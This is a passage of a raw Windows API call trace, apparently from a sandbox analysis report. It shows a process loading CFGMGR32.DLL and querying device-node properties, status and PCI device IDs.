0x7ffb1cef14b0 [0206.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0206.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0206.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0206.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0206.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0206.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0206.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0206.708] malloc (_Size=0x18) returned 0x20abc281ee0 [0206.709] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0206.709] malloc (_Size=0x124) returned 0x20abc286890 [0206.709] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0206.710] free (_Block=0x20abc286890) [0206.710] malloc (_Size=0x48) returned 0x20abc27cf80 [0206.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x36fa41b5, dwHighDateTime=0x1d9eb0c)) [0206.710] SetEvent (hEvent=0x248) returned 1 [0206.713] malloc (_Size=0x18) returned 0x20abc281ea0 [0206.713] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0206.713] free (_Block=0x20abc281ea0) [0206.714] malloc (_Size=0x18) returned 0x20abc281b80 [0206.714] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0206.714] free (_Block=0x20abc281b80) [0206.714] malloc (_Size=0x18) returned 0x20abc282060 [0206.714] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0206.714] free (_Block=0x20abc282060) [0206.714] malloc (_Size=0x18) returned 0x20abc281c80 [0206.714] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0206.714] free (_Block=0x20abc281c80) [0206.715] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d7f0 [0206.715] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0206.715] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0206.715] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0206.715] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0206.715] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0206.715] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0206.715] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0206.715] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0206.716] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79730, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.717] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79738, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.717] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79740, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.717] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79748, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.718] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0206.719] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d7f0) returned 1 [0206.719] malloc (_Size=0xd8) returned 0x20abc2867b0 [0206.720] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0206.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0206.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0206.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0206.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0206.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0206.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0206.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0206.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0206.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0206.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0206.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0206.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0206.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0206.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0206.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0206.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0206.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0206.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0206.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0206.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0206.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0206.724] malloc (_Size=0x18) returned 0x20abc281fc0 [0206.976] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0206.976] malloc (_Size=0x10e) returned 0x20abc286890 [0206.976] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0206.977] free (_Block=0x20abc286890) [0206.977] malloc (_Size=0x48) returned 0x20abc2a8000 [0206.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3722ca93, dwHighDateTime=0x1d9eb0c)) [0206.977] SetEvent (hEvent=0x248) returned 1 [0206.980] malloc (_Size=0x18) returned 0x20abc281ac0 [0206.980] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0206.981] free (_Block=0x20abc281ac0) [0206.981] malloc (_Size=0x18) returned 0x20abc281c00 [0206.981] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0206.981] free (_Block=0x20abc281c00) [0206.981] malloc (_Size=0x18) returned 0x20abc2819a0 [0206.981] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0206.981] free (_Block=0x20abc2819a0) [0206.981] malloc (_Size=0x18) returned 0x20abc281c80 [0206.981] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0206.981] free (_Block=0x20abc281c80) [0206.981] malloc (_Size=0x18) returned 0x20abc281be0 [0206.981] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0206.981] free (_Block=0x20abc281be0) [0206.981] malloc (_Size=0x18) returned 0x20abc281d40 [0206.982] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0206.982] free (_Block=0x20abc281d40) [0206.982] malloc (_Size=0x18) returned 0x20abc281f80 [0206.982] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0206.982] free (_Block=0x20abc281f80) [0206.982] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d670 [0206.982] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0206.982] SafeArrayGetLBound (in: psa=0x20abba80910, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0206.982] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0206.982] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79730 [0206.982] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0206.982] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0206.982] SafeArrayGetElemsize (psa=0x20abba80910) returned 0x8 [0206.982] SafeArrayGetElement (in: psa=0x20abba80910, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0206.983] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80740, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.983] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80748, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.983] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80750, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.983] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80758, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.984] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80760, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.984] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80768, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.984] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80770, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.985] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79730) returned 1 [0206.985] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d670) returned 1 [0206.985] malloc (_Size=0xd8) returned 0x20abc2867b0 [0206.986] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0206.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0206.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0206.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0206.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0206.987] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0206.987] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0206.987] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0206.987] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0206.987] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0206.988] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0206.988] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0206.988] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0206.988] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0206.988] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0206.988] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0206.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0206.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0206.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0206.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0206.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0206.989] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0206.990] malloc (_Size=0x18) returned 0x20abc281de0 [0206.990] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0206.998] malloc (_Size=0x48) returned 0x20abc27cf80 [0206.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37252f8b, dwHighDateTime=0x1d9eb0c)) [0206.999] SetEvent (hEvent=0x248) returned 1 [0207.000] SetEvent (hEvent=0x248) returned 1 [0207.000] free (_Block=0x20abc27cf80) [0207.001] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0207.001] malloc (_Size=0x48) returned 0x20abc27cf80 [0207.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37252f8b, dwHighDateTime=0x1d9eb0c)) [0207.002] SetEvent (hEvent=0x248) returned 1 [0207.003] SetEvent (hEvent=0x248) returned 1 [0207.004] free (_Block=0x20abc27cf80) [0207.004] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0207.005] malloc (_Size=0x48) returned 0x20abc27cb20 [0207.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37252f8b, dwHighDateTime=0x1d9eb0c)) [0207.005] SetEvent (hEvent=0x248) returned 1 [0207.007] SetEvent (hEvent=0x248) returned 1 [0207.008] free (_Block=0x20abc27cb20) [0207.008] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0207.008] malloc (_Size=0x48) returned 0x20abc27cf80 [0207.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37278e90, dwHighDateTime=0x1d9eb0c)) [0207.009] SetEvent (hEvent=0x248) returned 1 [0207.012] SetEvent (hEvent=0x248) returned 1 [0207.013] free (_Block=0x20abc27cf80) [0207.013] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0207.016] malloc (_Size=0x48) returned 0x20abc27cf80 [0207.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37278e90, dwHighDateTime=0x1d9eb0c)) [0207.017] SetEvent (hEvent=0x248) returned 1 [0207.018] SetEvent (hEvent=0x248) returned 1 [0207.018] free (_Block=0x20abc27cf80) [0207.018] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0207.019] malloc (_Size=0x48) returned 0x20abc27cf80 [0207.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x37278e90, dwHighDateTime=0x1d9eb0c)) [0207.019] SetEvent (hEvent=0x248) returned 1 [0207.273] SetEvent (hEvent=0x248) returned 1 [0207.274] free (_Block=0x20abc27cf80) [0207.274] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0207.275] malloc (_Size=0x48) returned 0x20abc27cf80 [0207.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x37501678, dwHighDateTime=0x1d9eb0c)) [0207.275] SetEvent (hEvent=0x248) returned 1 [0207.279] malloc (_Size=0xd8) returned 0x20abc2867b0 [0207.279] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0207.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0207.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0207.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0207.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0207.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0207.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0207.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0207.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0207.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0207.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0207.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0207.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0207.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0207.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0207.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0207.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0207.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0207.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0207.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0207.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0207.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0207.282] malloc (_Size=0x18) returned 0x20abc281fe0 [0207.282] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0207.283] malloc (_Size=0x48) returned 0x20abc27cf80 [0207.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37501678, dwHighDateTime=0x1d9eb0c)) [0207.283] SetEvent (hEvent=0x248) returned 1 [0207.320] malloc (_Size=0xd8) returned 0x20abc2867b0 [0207.320] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0207.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0207.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0207.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0207.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0207.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0207.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0207.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0207.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0207.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0207.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0207.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0207.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0207.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0207.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0207.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0207.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0207.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0207.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0207.323] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0207.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0207.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0207.324] malloc (_Size=0x18) returned 0x20abc282020 [0207.324] CM_Get_Device_IDA (in: dnDevInst=0x2c, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2922&SUBSYS_11001AF4&REV_02\\3&11583659&0&FA") returned 0x0 [0207.324] malloc (_Size=0x48) returned 0x20abc27cb20 [0207.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3757465e, dwHighDateTime=0x1d9eb0c)) [0207.325] SetEvent (hEvent=0x248) returned 1 [0207.328] malloc (_Size=0xd8) returned 0x20abc2867b0 [0207.328] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0207.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0207.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0207.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0207.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0207.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0207.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0207.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0207.330] 